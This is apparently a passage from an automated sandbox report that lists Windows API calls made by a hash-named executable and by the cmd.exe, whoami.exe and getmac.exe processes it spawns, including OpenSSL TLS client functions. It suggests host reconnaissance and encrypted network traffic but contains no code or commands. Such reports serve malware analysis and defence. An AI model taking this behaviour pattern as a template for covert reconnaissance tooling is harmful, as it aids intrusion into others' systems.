(UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "LoadLibrary" with a parameter libssl32.dll (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "LoadLibrary" with a parameter libssl-1_1 (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "LoadLibrary" with a parameter libeay32.dll (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "LoadLibrary" with a parameter libcrypto-1_1 (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00000308) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005596) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005596) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005596) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005596) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006344) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006344) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006344) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006344) "whoami.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004116) "whoami.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004116) "whoami.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004116) "whoami.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004116) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006676) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006676) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006676) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006676) "getmac.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003540) "getmac.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003540) "getmac.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003540) "getmac.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003540) "getmac.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00003540) "getmac.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00003540) "getmac.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00003540)2d:T8b40,"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SymInitialize (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SymCleanup (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter StackWalk64 (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SymGetOptions (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SymSetOptions (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SymFunctionTableAccess64 (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SymGetLineFromAddr64 (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SymGetModuleBase64 (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SymGetModuleInfo64 (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SymGetSymFromAddr64 (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter UnDecorateSymbolName (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SymLoadModule64 (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SymGetSearchPath (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SymUnloadModule64 (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SymRegisterCallback64 (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter ImagehlpApiVersion (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter RtlCaptureStackBackTrace (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter OpenSSL_version_num (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSL_library_init (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter OpenSSL_add_all_ciphers (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter OpenSSL_add_all_digests (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSL_load_error_strings (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter OPENSSL_init_ssl (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter OPENSSL_init_crypto (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter TLSv1_client_method (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter TLSv1_2_client_method (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter TLS_method (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSLv23_client_method (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSL_CTX_new (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSL_CTX_set_default_verify_paths (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSL_CTX_load_verify_locations (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSL_CTX_set_verify (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSL_CTX_use_PrivateKey_file (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSL_CTX_use_certificate_file (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSL_CTX_set_cipher_list (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSL_CTX_ctrl (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSL_new (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSL_set_fd (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSL_connect (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSL_write (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSL_read (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSL_free (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSL_CTX_free (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSL_get_error (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter SSL_ctrl (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter ERR_reason_error_string (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter ERR_get_error (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter getnameinfo (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "GetProcAddress" with a parameter AppPolicyGetThreadInitializationType (UID: 00000000-00000308) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005596) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006344) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006344) "whoami.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004116) "whoami.exe" called 